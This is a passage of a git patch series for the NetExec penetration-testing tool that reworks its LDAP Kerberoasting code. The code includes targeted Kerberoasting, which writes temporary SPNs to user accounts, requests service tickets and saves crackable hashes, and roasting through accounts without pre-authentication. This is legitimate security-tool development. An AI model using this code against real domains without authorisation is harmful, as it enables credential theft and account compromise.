"".join([f"(sAMAccountName={username})" for username in target_accounts]) searchFilter = f"(&(servicePrincipalName=*)(|{user_filter}))" else: + # default to all searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))" attributes = [ @@ -1219,13 +1221,15 @@ def kerberoasting(self): if not resp_parsed: self.logger.highlight("No entries found!") else: + # Filter disabled accounts disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] for account in disabled_accounts: self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") - + # Get all enabled accounts enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] self.logger.display(f"Total of records returned {len(enabled):d}") + # Perform Kerberos Attack for user in enabled: TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") From 2b23da5278298f0bbd46288a766a7b186fc7c3e0 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 4 Mar 2026 12:12:15 +0100 Subject: [PATCH 07/17] add space --- nxc/protocols/ldap.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index fcb5cae1d4..0c1c9676a4 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1225,6 +1225,7 @@ def kerberoasting(self): disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] for account in disabled_accounts: self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") + # Get all enabled accounts enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] self.logger.display(f"Total of records returned {len(enabled):d}") From 87c2ad607c373d39a2b12981eb3a4114106c2d65 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 4 Mar 2026 12:14:13 +0100 Subject: [PATCH 08/17] move comment --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 0c1c9676a4..6f10ebac03 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1230,8 +1230,8 @@ def kerberoasting(self): enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] self.logger.display(f"Total of records returned {len(enabled):d}") - # Perform Kerberos Attack for user in enabled: + # Perform Kerberos Attack TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: From ad5772babefab2e447cb885792154e3e087416a0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 12 Apr 2026 12:50:51 -0400 Subject: [PATCH 09/17] Improve arg description --- nxc/protocols/ldap/proto_args.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index a9be774807..aaecc73471 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -14,8 +14,8 @@ def proto_args(parser, parents): egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file") kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file") kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)") - egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users") - targeted_kerberoast_arg = egroup.add_argument("--targeted-kerberoast", nargs="+", dest="targeted_kerberoast", action=get_conditional_action(_StoreAction), make_required=[], help="Targeted kerberoasting: add temporary SPN to specified users, request ST, then remove it (sAMAccountNames or file containing sAMAccountNames)") + targeted_kerberoast_arg = egroup.add_argument("--targeted-kerberoast", nargs="+", dest="targeted_kerberoast", action=get_conditional_action(_StoreAction), make_required=[], help="Adds temporary SPN to specified users, requests ST, then remove added SPN. Specify sAMAccountNames or file containing sAMAccountNames") + egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Specify accounts that should be kerberoasted using an account without pre-authentication requirement.") # Make kerberoast-users and targeted-kerberoast require kerberoasting kerberoast_users_arg.make_required = [kerberoasting_arg] From 5b489b57a67904155234f8944545c9b0ea483b15 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 12 Apr 2026 13:16:06 -0400 Subject: [PATCH 10/17] Remove unnecessary if check --- nxc/protocols/ldap.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index af84ac1063..a696b19254 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -999,9 +999,8 @@ def kerberoasting(self): for line in hashes: self.logger.highlight(line) - if self.args.kerberoasting: - with open(self.args.kerberoasting, "a+", encoding="utf-8") as f: - f.write(line + "\n") + with open(self.args.kerberoasting, "a+", encoding="utf-8") as f: + f.write(line + "\n") return if self.args.targeted_kerberoast: From 5d8a6299a3b1aa12cd87af9a6ab9db17486d85e5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 12 Apr 2026 13:31:08 -0400 Subject: [PATCH 11/17] Extract no-preauth-roasting into separate function --- nxc/protocols/ldap.py | 75 ++++++++++++++++++++++--------------------- 1 file changed, 39 insertions(+), 36 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index a696b19254..3686b6590b 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -965,42 +965,7 @@ def asreproast(self): def kerberoasting(self): if self.args.no_preauth_targets: - usernames = [] - for item in self.args.no_preauth_targets: - if os.path.isfile(item): - with open(item, encoding="utf-8") as f: - usernames.extend(line.strip() for line in f if line.strip()) - else: - usernames.append(item.strip()) - - skipped = [] - hashes = [] - - for spn in usernames: - base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip() - - if base_name.lower() == "krbtgt" or base_name.endswith("$"): - skipped.append(base_name) - continue - - if not self.username: - self.logger.fail("Likely executed without password flag. Please run the command with -p ''") - return - hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn) - if hashline: - hashes.append(hashline) - - if skipped: - self.logger.display(f"Skipping account: {', '.join(skipped)}") - if hashes: - self.logger.display(f"Total of records returned {len(hashes)}") - else: - self.logger.highlight("No entries found!") - - for line in hashes: - self.logger.highlight(line) - with open(self.args.kerberoasting, "a+", encoding="utf-8") as f: - f.write(line + "\n") + self.roast_no_preauth() return if self.args.targeted_kerberoast: @@ -1200,6 +1165,44 @@ def kerberoasting(self): else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") + def roast_no_preauth(self): + usernames = [] + for item in self.args.no_preauth_targets: + if os.path.isfile(item): + with open(item, encoding="utf-8") as f: + usernames.extend(line.strip() for line in f if line.strip()) + else: + usernames.append(item.strip()) + + skipped = [] + hashes = [] + + for spn in usernames: + base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip() + + if base_name.lower() == "krbtgt" or base_name.endswith("$"): + skipped.append(base_name) + continue + + if not self.username: + self.logger.fail("Likely executed without password flag. Please run the command with -p ''") + return + hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn) + if hashline: + hashes.append(hashline) + + if skipped: + self.logger.display(f"Skipping account: {', '.join(skipped)}") + if hashes: + self.logger.display(f"Total of records returned {len(hashes)}") + else: + self.logger.highlight("No entries found!") + + for line in hashes: + self.logger.highlight(line) + with open(self.args.kerberoasting, "a+", encoding="utf-8") as f: + f.write(line + "\n") + def query(self): """ Query the LDAP server with the specified filter and attributes. From 10d5c1ce5e8da07b39242be04feb1c3d1e2b734f Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Sun, 12 Apr 2026 20:55:11 +0200 Subject: [PATCH 12/17] unify targeted kerberoast with main kerberoasting flow --- nxc/protocols/ldap.py | 163 +++++++++++++----------------------------- 1 file changed, 50 insertions(+), 113 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 3686b6590b..2cae2ddb19 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -968,7 +968,9 @@ def kerberoasting(self): self.roast_no_preauth() return - if self.args.targeted_kerberoast: + targeted = self.args.targeted_kerberoast + + if targeted: target_users = [] for item in self.args.targeted_kerberoast: if os.path.isfile(item): @@ -978,105 +980,8 @@ def kerberoasting(self): target_users.append(item.strip()) user_filter = "".join(f"(sAMAccountName={user})" for user in target_users) - search_filter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))" - attributes = [ - "distinguishedName", - "sAMAccountName", - "userAccountControl", - "MemberOf", - "pwdLastSet", - "lastLogon", - ] - resp = self.search(search_filter, attributes, 0) - resp_parsed = parse_result_attributes(resp) - - if not resp_parsed: - self.logger.fail("No entries found!") - return - - disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] - for account in disabled_accounts: - self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") - - enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] - self.logger.success(f"Found {len(enabled)} enabled users without SPN.") - - results = [] - for user in enabled: - dn = user["distinguishedName"] - sam = user["sAMAccountName"] - spn = f"cifs/{sam}" - downLevelLogonName = f"{self.targetDomain}\\{sam}" - - try: - # Add temporary SPN - self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [spn])]}) - self.logger.debug(f"SPN '{spn}' added for {sam}") - - try: - TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) - self.logger.debug(f"TGT: {TGT}") - if TGT: - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value - principalName.components = [downLevelLogonName] - - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( - principalName, - self.domain, - self.kdcHost, - TGT["KDC_REP"], - TGT["cipher"], - TGT["sessionKey"], - ) - - hash_line = KerberosAttacks(self).output_tgs(tgs, oldSessionKey, sessionKey, sam, downLevelLogonName) - pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) - lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) - - results.append({ - "sam": sam, - "memberOf": user.get("memberOf", []), - "pwdLastSet": pwdLastSet, - "lastLogon": lastLogon, - "hash": hash_line, - }) - else: - self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") - except Exception as e: - self.logger.debug(f"Exception: {e}", exc_info=True) - self.logger.fail(f"Principal: {downLevelLogonName} - {e}") - finally: - try: - self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [])]}) - self.logger.debug(f"SPN removed for {sam}") - except Exception as cleanup_error: - self.logger.fail(f"Failed to remove SPN for {sam}: {cleanup_error}") - - except ldap_impacket.LDAPSessionError as e: - error_str = str(e) - if "insufficientAccessRights" in error_str or "INSUFF_ACCESS_RIGHTS" in error_str: - self.logger.debug(f"No write access to {sam}'s SPN attribute") - else: - self.logger.fail(f"LDAP error for {sam}: {e}") - self.logger.debug("Traceback", exc_info=True) - - if not results: - self.logger.fail("Could not get any STs") - return - - self.logger.display(f"Total of records returned {len(results):d}") - - for result in results: - self.logger.display(f"sAMAccountName: {result['sam']}, memberOf: {result['memberOf']}, pwdLastSet: {result['pwdLastSet']}, lastLogon: {result['lastLogon']}") - self.logger.highlight(result["hash"]) - - if self.args.kerberoasting: - with open(self.args.kerberoasting, "a+", encoding="utf-8") as f: - f.write(result["hash"] + "\n") - return - - if self.args.kerberoast_account: + searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))" + elif self.args.kerberoast_account: target_accounts = [] for item in self.args.kerberoast_account: if os.path.isfile(item): @@ -1106,6 +1011,9 @@ def kerberoasting(self): "lastLogon", "objectClass", ] + if targeted: + attributes.append("distinguishedName") + resp = self.search(searchFilter, attributes, 0) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Search Filter: {searchFilter}") @@ -1114,22 +1022,44 @@ def kerberoasting(self): if not resp_parsed: self.logger.highlight("No entries found!") - else: - # Filter disabled accounts - disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] - for account in disabled_accounts: - self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") + return + + disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + for account in disabled_accounts: + self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") + + enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] - # Get all enabled accounts - enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + if targeted: + self.logger.success(f"Found {len(enabled)} enabled users without SPN.") + else: self.logger.display(f"Total of records returned {len(enabled):d}") - for user in enabled: - # Perform Kerberos Attack + for user in enabled: + sam = user["sAMAccountName"] + downLevelLogonName = f"{self.targetDomain}\\{sam}" + spn_added = False + + if targeted: + dn = user["distinguishedName"] + spn = f"cifs/{sam}" + try: + self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [spn])]}) + self.logger.debug(f"SPN '{spn}' added for {sam}") + spn_added = True + except ldap_impacket.LDAPSessionError as e: + error_str = str(e) + if "insufficientAccessRights" in error_str or "INSUFF_ACCESS_RIGHTS" in error_str: + self.logger.debug(f"No write access to {sam}'s SPN attribute") + else: + self.logger.fail(f"LDAP error for {sam}: {e}") + self.logger.debug("Traceback", exc_info=True) + continue + + try: TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: - downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}" try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value @@ -1147,23 +1077,30 @@ def kerberoasting(self): tgs, oldSessionKey, sessionKey, - user["sAMAccountName"], + sam, downLevelLogonName, is_computer="computer" in user.get("objectClass", []) ) pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) - self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") + self.logger.display(f"sAMAccountName: {sam}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") self.logger.highlight(f"{out}") if self.args.kerberoasting: - with open(self.args.kerberoasting, "a+") as hash_kerberoasting: + with open(self.args.kerberoasting, "a+", encoding="utf-8") as hash_kerberoasting: hash_kerberoasting.write(out + "\n") except Exception as e: self.logger.debug(f"Exception: {e}", exc_info=True) self.logger.fail(f"Principal: {downLevelLogonName} - {e}") else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") + finally: + if spn_added: + try: + self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [])]}) + self.logger.debug(f"SPN removed for {sam}") + except Exception as cleanup_error: + self.logger.fail(f"Failed to remove SPN for {sam}: {cleanup_error}") def roast_no_preauth(self): usernames = [] From f9dcabb9aeeada9cbc5db2a4493348e381d445e3 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Sun, 12 Apr 2026 22:37:59 +0200 Subject: [PATCH 13/17] cleanup after review --- nxc/protocols/ldap.py | 43 ++++++++++++++++++------------------------- 1 file changed, 18 insertions(+), 25 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 2cae2ddb19..f7a6f10b6d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -968,9 +968,7 @@ def kerberoasting(self): self.roast_no_preauth() return - targeted = self.args.targeted_kerberoast - - if targeted: + if self.args.targeted_kerberoast: target_users = [] for item in self.args.targeted_kerberoast: if os.path.isfile(item): @@ -1010,9 +1008,8 @@ def kerberoasting(self): "pwdLastSet", "lastLogon", "objectClass", + "distinguishedName", ] - if targeted: - attributes.append("distinguishedName") resp = self.search(searchFilter, attributes, 0) resp_parsed = parse_result_attributes(resp) @@ -1030,29 +1027,25 @@ def kerberoasting(self): enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] - if targeted: + if self.args.targeted_kerberoast: self.logger.success(f"Found {len(enabled)} enabled users without SPN.") else: self.logger.display(f"Total of records returned {len(enabled):d}") for user in enabled: - sam = user["sAMAccountName"] - downLevelLogonName = f"{self.targetDomain}\\{sam}" spn_added = False - if targeted: - dn = user["distinguishedName"] - spn = f"cifs/{sam}" + if self.args.targeted_kerberoast: try: - self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [spn])]}) - self.logger.debug(f"SPN '{spn}' added for {sam}") + self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [f"cifs/{user['sAMAccountName']}"])]}) + self.logger.debug(f"SPN 'cifs/{user['sAMAccountName']}' added for {user['sAMAccountName']}") spn_added = True except ldap_impacket.LDAPSessionError as e: error_str = str(e) if "insufficientAccessRights" in error_str or "INSUFF_ACCESS_RIGHTS" in error_str: - self.logger.debug(f"No write access to {sam}'s SPN attribute") + self.logger.fail(f"No write access to {user['sAMAccountName']}'s SPN attribute") else: - self.logger.fail(f"LDAP error for {sam}: {e}") + self.logger.fail(f"LDAP error for {user['sAMAccountName']}: {e}") self.logger.debug("Traceback", exc_info=True) continue @@ -1063,7 +1056,7 @@ def kerberoasting(self): try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value - principalName.components = [downLevelLogonName] + principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( principalName, @@ -1077,30 +1070,30 @@ def kerberoasting(self): tgs, oldSessionKey, sessionKey, - sam, - downLevelLogonName, + user["sAMAccountName"], + f"{self.targetDomain}\\{user['sAMAccountName']}", is_computer="computer" in user.get("objectClass", []) ) pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) - self.logger.display(f"sAMAccountName: {sam}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") + self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") self.logger.highlight(f"{out}") if self.args.kerberoasting: - with open(self.args.kerberoasting, "a+", encoding="utf-8") as hash_kerberoasting: + with open(self.args.kerberoasting, "a+") as hash_kerberoasting: hash_kerberoasting.write(out + "\n") except Exception as e: self.logger.debug(f"Exception: {e}", exc_info=True) - self.logger.fail(f"Principal: {downLevelLogonName} - {e}") + self.logger.fail(f"Principal: {self.targetDomain}\\{user['sAMAccountName']} - {e}") else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") finally: if spn_added: try: - self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [])]}) - self.logger.debug(f"SPN removed for {sam}") + self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [])]}) + self.logger.debug(f"SPN removed for {user['sAMAccountName']}") except Exception as cleanup_error: - self.logger.fail(f"Failed to remove SPN for {sam}: {cleanup_error}") + self.logger.fail(f"Failed to remove SPN for {user['sAMAccountName']}: {cleanup_error}") def roast_no_preauth(self): usernames = [] @@ -1137,7 +1130,7 @@ def roast_no_preauth(self): for line in hashes: self.logger.highlight(line) - with open(self.args.kerberoasting, "a+", encoding="utf-8") as f: + with open(self.args.kerberoasting, "a+") as f: f.write(line + "\n") def query(self): From 7eb4171e66b23923316171ebe2ee7a71542b4069 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 23 Apr 2026 13:37:36 -0400 Subject: [PATCH 14/17] Functionalize argument parsing --- nxc/helpers/misc.py | 12 ++++++++++++ nxc/protocols/ldap.py | 31 ++++--------------------------- 2 files changed, 16 insertions(+), 27 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 7f2d7a5f4a..55d3ddba42 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -226,6 +226,18 @@ def convert(low, high, lockout=False): return time +def parse_argument(argument: list) -> list: + """Parse input (list) from an argparse argument, which can be either a value or a file containing values.""" + parsed_items = [] + for item in argument: + if os.path.isfile(item): + with open(item) as f: + parsed_items.extend(line.strip() for line in f if line.strip()) + else: + parsed_items.append(item.strip()) + return parsed_items + + def display_modules(args, modules): for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items(): # Add category filter for module listing diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f7a6f10b6d..49babb243a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -41,7 +41,7 @@ from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh -from nxc.helpers.misc import get_bloodhound_info, convert, d2b +from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument from nxc.logger import NXCAdapter from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB @@ -969,28 +969,11 @@ def kerberoasting(self): return if self.args.targeted_kerberoast: - target_users = [] - for item in self.args.targeted_kerberoast: - if os.path.isfile(item): - with open(item, encoding="utf-8") as f: - target_users.extend(line.strip() for line in f if line.strip()) - else: - target_users.append(item.strip()) - + target_users = parse_argument(self.args.targeted_kerberoast) user_filter = "".join(f"(sAMAccountName={user})" for user in target_users) searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))" elif self.args.kerberoast_account: - target_accounts = [] - for item in self.args.kerberoast_account: - if os.path.isfile(item): - try: - with open(item, encoding="utf-8") as f: - target_accounts.extend(line.strip() for line in f if line.strip()) - except Exception as e: - self.logger.fail(f"Failed to read file '{item}': {e}") - else: - target_accounts.append(item.strip()) - + target_accounts = parse_argument(self.args.kerberoast_account) self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}") # build search filter for specific users @@ -1096,13 +1079,7 @@ def kerberoasting(self): self.logger.fail(f"Failed to remove SPN for {user['sAMAccountName']}: {cleanup_error}") def roast_no_preauth(self): - usernames = [] - for item in self.args.no_preauth_targets: - if os.path.isfile(item): - with open(item, encoding="utf-8") as f: - usernames.extend(line.strip() for line in f if line.strip()) - else: - usernames.append(item.strip()) + usernames = parse_argument(self.args.no_preauth_targets) skipped = [] hashes = [] From 6f1b4c94b12d7309ff166aad9dde15e356cff07e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 23 Apr 2026 13:38:05 -0400 Subject: [PATCH 15/17] Remove default argument --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 49babb243a..262316fac3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -994,7 +994,7 @@ def kerberoasting(self): "distinguishedName", ] - resp = self.search(searchFilter, attributes, 0) + resp = self.search(searchFilter, attributes) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Search Filter: {searchFilter}") self.logger.debug(f"Attributes: {attributes}") From 11ec479e2e3e0c6b43a669bf37995c1ad4839150 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 23 Apr 2026 13:40:57 -0400 Subject: [PATCH 16/17] Cleanup --- nxc/protocols/ldap.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 262316fac3..6578d52a13 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1024,8 +1024,7 @@ def kerberoasting(self): self.logger.debug(f"SPN 'cifs/{user['sAMAccountName']}' added for {user['sAMAccountName']}") spn_added = True except ldap_impacket.LDAPSessionError as e: - error_str = str(e) - if "insufficientAccessRights" in error_str or "INSUFF_ACCESS_RIGHTS" in error_str: + if "insufficientAccessRights" in str(e) or "INSUFF_ACCESS_RIGHTS" in str(e): self.logger.fail(f"No write access to {user['sAMAccountName']}'s SPN attribute") else: self.logger.fail(f"LDAP error for {user['sAMAccountName']}: {e}") @@ -1061,7 +1060,7 @@ def kerberoasting(self): pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") - self.logger.highlight(f"{out}") + self.logger.highlight(out) if self.args.kerberoasting: with open(self.args.kerberoasting, "a+") as hash_kerberoasting: hash_kerberoasting.write(out + "\n") From 6982e82fcffce0d744030bc890d4d8f35492d71a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 23 Apr 2026 13:45:34 -0400 Subject: [PATCH 17/17] Formatting --- nxc/helpers/misc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 55d3ddba42..dd9dbe8705 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -227,7 +227,7 @@ def convert(low, high, lockout=False): def parse_argument(argument: list) -> list: - """Parse input (list) from an argparse argument, which can be either a value or a file containing values.""" + """Parse input from an argparse argument, which can be either a value or a file containing values.""" parsed_items = [] for item in argument: if os.path.isfile(item):